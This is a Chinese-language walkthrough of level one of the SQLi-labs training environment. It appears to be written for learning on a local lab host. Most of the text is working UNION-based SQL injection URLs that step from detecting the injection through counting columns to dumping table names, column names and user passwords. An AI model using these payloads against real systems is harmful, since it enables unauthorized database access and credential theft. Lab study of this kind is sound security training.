SQL注入闯关第一关-Less1

目录

一、判断注入点类型

1、单引号测试

2、进行验证：

二、确定字段数

三、使用联合查询，确定显示位置

四、确定显示位置后，查询库名

五、查询表名

六、查询列名

七、查询用户名和密码

---

一、判断注入点类型

1、单引号测试

报错，猜测属于字符型注入；

2、进行验证：

(1)、http://192.168.162.135/sqlilab/Less-1/?id=1' and 1=1 --+

（2）、http://192.168.162.135/sqlilab/Less-1/?id=1' and 1=2 --+

经检验确认为字符型注入 ，数据库查询语句为：

select user,passwd from users where id='$id';

二、确定字段数

1、http://192.168.162.135/sqlilab/Less-1/?id=1' order by 1 --+

2、http://192.168.162.135/sqlilab/Less-1/?id=1' order by 2 --+

3、 http://192.168.162.135/sqlilab/Less-1/?id=1' order by 3 --+

4、 http://192.168.162.135/sqlilab/Less-1/?id=1' order by 4 --+

 经过尝试，判断字段数为3；

三、使用联合查询，确定显示位置

（1）、http://192.168.162.135/sqlilab/Less-1/?id=1' union select 1,2,3 --+

（2）、由于查询语句前面是对的，所以显示前面的内容，后面的无法显示，不能确定显示位置，所以更改语句，使得前面的语句为错，显示后面的内容：

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,3 --+

四、确定显示位置后，查询库名

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,version(),database() --+

字段数为3，所以1在这表示占位，version()查询数据库版本，database()查询数据库库名

MySQL版本：5.5.53        数据库：security

五、查询表名

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

security数据库中有三个表：emails,referers,uagents,users

六、查询列名

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

七、查询用户名和密码

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,username,password from users where id=2 --+

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,username,password from users where id=5 --+